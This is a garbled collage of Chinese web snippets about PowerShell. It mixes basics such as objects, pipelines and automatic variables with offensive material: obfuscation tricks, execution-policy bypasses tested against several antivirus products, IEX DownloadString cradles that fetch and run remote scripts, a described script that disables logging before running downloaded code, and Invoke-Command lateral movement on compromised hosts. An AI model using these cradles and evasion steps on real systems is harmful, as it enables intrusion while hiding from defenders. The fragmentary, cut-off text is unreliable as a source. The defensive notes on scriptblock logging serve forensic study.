2.创建脚本块: $function = [scriptblock]::Create($code) 这一行使用ScriptBlock类的Create方法将之前定义的字符串$code转换成一个可执行的脚本块...[scriptblock]是 PowerShell 中用于定义一个代码块的类型,可以包含任意的 PowerShell 代码。这里,$function变量现在存储了一个可执行的脚本块。..." -Action { param($sender, $e) Write-Host "File created: $($e.FullPath)" } 1.创建 FileSystemWatcher 对象...param(sender, e):这是事件处理器的参数,其中sender是引发事件的对象,而e是包含事件数据的对象。...= [powershell]::Create().AddScript($scriptBlock).AddArgument($ip) $powershell.RunspacePool = $runspacePool
的ScriptBlock日志记录功能,他可以完整的记录PowerShell的历史执行过程,当然这是有助于进行攻击取证和溯源的。...PowerShell输入和输出对象,包括协议和版本协商以及命令I / O对象在表示为“有效负载数据”的字段中存储为XML编码的十六进制字符串,并且到期长度通常在多个日志消息中分段。...0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段...,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的...PowerShell 5.0包含4.0中未提供的功能,包括可疑的脚本块日志记录。
powershell混淆主要是针对以下三个方面的内容,分别为: 命令本身 函数与对象 参数 而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类: 大小写与特殊符号 字符串变换 简写与...简写与invoke 3.1 别名 在powershell解释器中输入alias,看到所有的对象和函数的简写方式,也就是别名。常见的Invoke-Expression 可以使用 IEX来代替。 ?...变量变换 4.1 拼接与替换 将关键字拆分成多个变量,然后替换拼接。 $v1="System.Net."...("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")')) 5.2 [Scriptblock] [Scriptblock]相当于 [Type...]("Scriptblock")。
对象 输出数据是结构化对象,便于操作和处理。 变量 用于存储数据,使用符号定义,如name = "World"。 函数 可重用的代码块,封装特定功能。...符号:在PowerShell中,管道由竖线符号(|)表示。 数据流:管道将前一个命令的输出传递给下一个命令的输入。 对象传递:与传统的命令行不同,PowerShell管道传递的是对象而不是文本。...PowerShell 对象、变量、函数 对象 对象基础:PowerShell中的对象是.NET对象,包含属性和方法。每个命令的输出都是对象,而不是纯文本。...定义和使用变量 $message = "Hello, PowerShell!"...模块 PowerShell模块是用于组织和分发PowerShell功能的单元。它们可以包含函数、脚本、Cmdlet、变量和其他资源。
如果未指定,则远程外壳程序将在用户的主目录下启动,该主目录由环境变量 %USERPROFILE% 定义。...-env[ironment]:STRING=VALUE - 指定外壳程序启动时要设置的单个环境变量,这允许更改外壳程序的默认环境。必须多次使用该开关来指定多个环境变量。...可以通过指定 -ScriptBlock 来执行命令上线 Invoke-Command -Computername TARGET -ScriptBlock {command} ?...下面是在powershell上面执行查看WINRM的一些命令 # Enable PowerShell Remoting on the target (box needs to be compromised...翻了翻cobaltstrike的源码,找到了winrm的执行方式,他这里是通过powershell来执行命令的,通过 Invoke-Command 指定-ScriptBlock来执行命令。 ?
默认情况下,未配置WinRM listener,即使服务在运行,也无法接受或发送请求的WS-Management 协议 数据 防火墙阻止访问 winrm e winrm/config/listener...@#45 #运行服务 搜索发现一个比较好用得技巧,powershell环境中变量得解析方式、使用方式和cmd不一样: 获取当前环境得所有变量:Get-ChildItem env: or ls env:...使用变量:$env:windir 前面的WinRM.vbs,在powersehll中使用的的命令就是这样:cscript.exe $env:windir\System32\winrm.vbs ?...Session $Session {Command} #这个命令也经常用 Invoke-Command -ComputerName OWA2010SP3 -Credential $Credential -ScriptBlock...Get-Item WSMan:\localhost\Client\TrustedHosts #获取TrustedHosts的值 Invoke-Command -Credential $cred -ScriptBlock
我们搞安全的还可以使用 powershell 脚本执行一些奇奇怪怪的操作.......利用 .Net 类型和 Dom 对象。...能够利用 .Net 类型和 COM 对象是 PowerShell 的最大特点,这让 PowerShell 能够最大限度的利用现有资源,创建了 .Net 类型和 Dom 对象后可以使用这些对象的属性及方法...-ExecutionPolicy Bypass -File xxx.ps1 win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截 2、本地绕过执行策略并隐藏执行窗口 PowerShell.exe...、360 未拦截,win10 环境下火绒未拦截 3、远程下载脚本并绕过执行策略执行 powershell "IEX (New-Object Net.WebClient).DownloadString('...该攻击脚本可以大致分为4个部分: 1、禁用日志记录,防止我们的脚本运行留下记录 2、建立了一个 webclient,用于下载 3、将要被执行的代码块赋值给 $R 4、从网上下载数据,将其与 $R scriptblock
ForEach-Object { Stop-Process -Id $_.Id -Force -Confirm:$false} -EA 0 2>&1 >$null; } # 启动后台作业 $job = Start-Job...-ScriptBlock $scriptBlock # 设置超时时间(30分钟) $timeout = 30 * 60 # 秒 # 等待作业完成或超时 $jobCompleted = Wait-Job...Descending | Select-Object -First 30 | Format-Table -AutoSize 代码效果图: 或者用下面这段代码,在进入 Measure-Object 前“仅过滤出文件对象...3、系统如何决定写到哪里(选择机制) 用户进程:优先使用进程环境变量 TEMP/TMP,默认是 %LocalAppData%\Temp。...服务/系统进程:通常使用“系统变量”TEMP/TMP(在系统属性-环境变量的“系统变量”区),默认指向 %SystemRoot%\Temp。
在通过 PSConsoleFile 参数启动 Windows PowerShell 或使用 Export-Console cmdlet 将管理单元名称导出到控制台文件 时,将填充此变量。...$EventSubscriber : 包含一个 PSEventSubscriber 对象,该对象表示正在被处理的事件的事件订阅者。 此变量只在事件注册命令的 Action 块内填充。...填充之后,此变量包含一个具有 Breakpoints 和InvocationInfo 属性的 PsDebugContext 对象。...$Sender : 包含生成此事件的对象。此变量只在事件注册命令的 Action 块内填充。...$SourceArgs : 包含表示正在被处理的事件的事件参数的对象。此变量只在事件注册命令的 Action 块内填充。
image-20250930213512332 跟传统的CMD比起来,PowerShell最大的特点就是面向对象。什么意思呢?就是说它处理的不是简单的文本,而是对象。...有一次我需要批量处理Excel文件,用PowerShell直接调用Excel的COM对象,几行代码就搞定了,要是用CMD的话...想都不敢想。...CMD处理的是文本流,而PowerShell处理的是对象流。这听起来可能有点抽象,我举个具体例子。...PowerShell的管道可以传递完整的对象,这就意味着你可以把多个命令串联起来,形成强大的数据处理流水线。 PowerShell常用命令详解 说到PowerShell的命令,那真是太多了。...变量和数组 PowerShell支持变量,这让脚本编写变得更加灵活: # 定义变量 $name = "John" $age = 30 # 定义数组 $servers = @("Server01", "
开关,因此您可以在 Linux/macOS 系统上将 PowerShell 开关与脚本一起使用。...该脚本不设置DOTNET_ROOT环境变量。 在运行脚本之前,安装所需的依赖项。 您可以使用-Version|--version参数安装特定版本。...-NoCdn|--no-cdn 禁用从Azure 内容交付网络 (CDN) 下载并直接使用未缓存的源。 -NoPath|--no-path 如果设置,安装文件夹不会导出到当前会话的路径。...-UncachedFeed|--uncached-feed 允许更改此安装程序使用的未缓存提要的 URL。我们建议您不要更改此值。 -Verbose|--verbose 显示诊断信息。...= [Net.SecurityProtocolType]::Tls12; &([scriptblock]::Create((Invoke-WebRequest -UseBasicParsing 'https
$EventSubscriber : 包含一个 PSEventSubscriber 对象,该对象表示正在被处理的事件的事件订阅者。 此变量只在事件注册命令的 Action 块内填充。...填充之后,此变量包含一个具有 Breakpoints 和InvocationInfo 属性的 PsDebugContext 对象。...$Sender : 包含生成此事件的对象。此变量只在事件注册命令的 Action 块内填充。...$SourceArgs : 包含表示正在被处理的事件的事件参数的对象。此变量只在事件注册命令的 Action 块内填充。...$SourceEventArgs : 包含一个对象,该对象表示从正在被处理的事件的 EventArgs 中派生出的 第一个事件参数。此变量只在事件注册命令的 Action 块内填充。
[TOC] 目录和文件打开 Test-Path 描述:可以验证目录或者文件是否存在以及系统变量是否存在; 基础实例: #1.验证文件夹目录是否存在 PS > test-path -Path C:\Windows...\nono.py False #3.验证变量是否存在 test-path variable:PWD True Get-ChildItem 基础示例: #1.列举当前文件与目录(ls / gci /...\test.txt # Powershell Routing # Powershell Routing 筛选和过滤 Select-Object 描述:显示特定的列字段的数据; 基础实例: get-process...-- ---- ------- ------ Alias sajb -> Start-Job...Get-Unique会逐个遍历对象,每次遍历时都会与前一个对象进行比较,如果和前一个对象相等就会抛弃当前对象,否则就保留,与Linux中uniq命令有一致之处。
winrm quickconfig``winrm quickconfig -transport:https 使用组策略对象。...有关组策略对象的更多信息,请参阅 组策略对象文档。 使用PowerShell创建具有特定配置的侦听器。...Negotiate (NTLM)``Kerberos Service\Auth\CbtHardeningLevel:指定通道绑定令牌是未验证(无),已验证但不是必需的(已放松)还是已验证且必需的(严格)...无法加载内置模块 如果powershell失败并显示类似的错误消息, 则尝试访问环境变量指定的所有路径可能会出现问题。...: 设置ansible_connection为ssh 设置ansibleshelltype为cmd或powershell 该ansibleshelltype变量应反映DefaultShell Windows
Alias sajb -> Start-Job...Tips : 命令输出存在用于注册表、别名、环境变量、文件系统、函数、变量、证书和 WSMan 的内置提供程序,驱动器详细一览。...脚本可以进行执行,需要从可信任的发布者处获得从互联网上下载的脚本和配置文件的数字签名,可能会运行来自Internet以外来源和已签名但恶意的脚本的未签名脚本。...格式设置文件 一个 PS XML 文件,它具有 .format.ps1xml 扩展名且定义 PS 如何基于对象的 .NET Framework 类型来显示对象。...模块可以包含 cmdlet、提供程序、函数、变量和其他可作为单个单元导入的资源类型。
该协议是基于简单对象访问协议(SOAP)的、防火墙友好的标准协议,允许来自不同供应商的硬件和操作系统能够互操作。...还有一些其他配置命令: # 使用 PowerShell 查询 WinRM 状态Get-WmiObject-Class win32_service | Where-Object{$_.name -like...host] -Credential [user] -Command {[command]}# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock...执行策略以允许执行未签名的脚本,然后将 PowerShell 脚本写入磁盘并自动执行以返回一个 Meterpreter 会话。...s=winrm https://pentestn00b.wordpress.com/2016/08/22/powershell-psremoting-pwnage/ 点赞,转发,在看 文章首发:FreeBuf
svchost.exe CommandLine:C:\Windows\system32\svchost.exe-k DcomLaunch DCOMLAUNCH服务可启动COM和DCOM服务器,以响应对象激活请求...defun=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs))iex $defun//在wmi对象里查找...System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock...四、基础防护能力检查 4.1 防火墙和MS17010 在本地未安装MS17010相关补丁的情况下对外开放了445端口,且无第三方杀软或应用层防火墙,本地网络层防火墙未启用,无法针对入栈访问本地高危端口行为进行访问控制...4.2 Tomcat日志 Tomcat访问日志功能未启用。
内置变量 Powershell 内置变量是指那些一旦打开Powershell就会自动加载的变量。...在对管道中的每个对象或所选对象执行操作的命令中,可以使用此变量。 $Args 包含由未声明参数和/或传递给函数、脚本或脚本块的参数值组成的数组。...此变量等效于 %homedrive%%homepath% 环境变量。 $Host 包含一个对象,该对象表示 Windows PowerShell 的当前主机应用程序。...将标量输入提交给 -match 或 -notmatch 运算符时,如果检测到匹配,则会返回一个布尔值, 并使用由所有匹配字符串值组成的哈希表填充 $Matches 自动变量。...、控制流、函数 对象=属性+方法 Powershell中的对象和现实生活很相似。
Invoke-Command -Credential $cred -ScriptBlock {Hostname} #如果当前内存中没有凭证,则可以输入凭证 Enter-PSSession...winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM...默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。 Internet连接防火墙(ICF)阻止访问端口。...在powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象的实例表现如下: 客户端计算机从远程计算机请求实例化由CLSID表示的对象。...6.Outlook 在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。
图片SMB未授权访问SMB似乎允许匿名登录,但随后显示没有共享:查看smbclientRPC-445未授权访问通过rpcclient空密码连接并收集信息。Ldap匿名访问发现可以匿名访问。...对象的名称已使用 Common-Name DEL:Object-Guid 进行更新。该对象拥有一些新属性。isDeleted 属性的值为 TRUE,并且 填充了lastKnownParent 属性。...新属性 msDS-LastKnownRDN填充了对象最后已知的相对可分辨名称(此属性允许回收站在恢复期间正确重置对象的 RDN,即使对象的重命名导致原始 RDN 的截断)。两个属性已被删除。...然后使用另一个 PowerShell 命令来还原它。...在未启用 AD 回收站的域中,当删除 Active Directory 对象时,它会成为逻辑删除。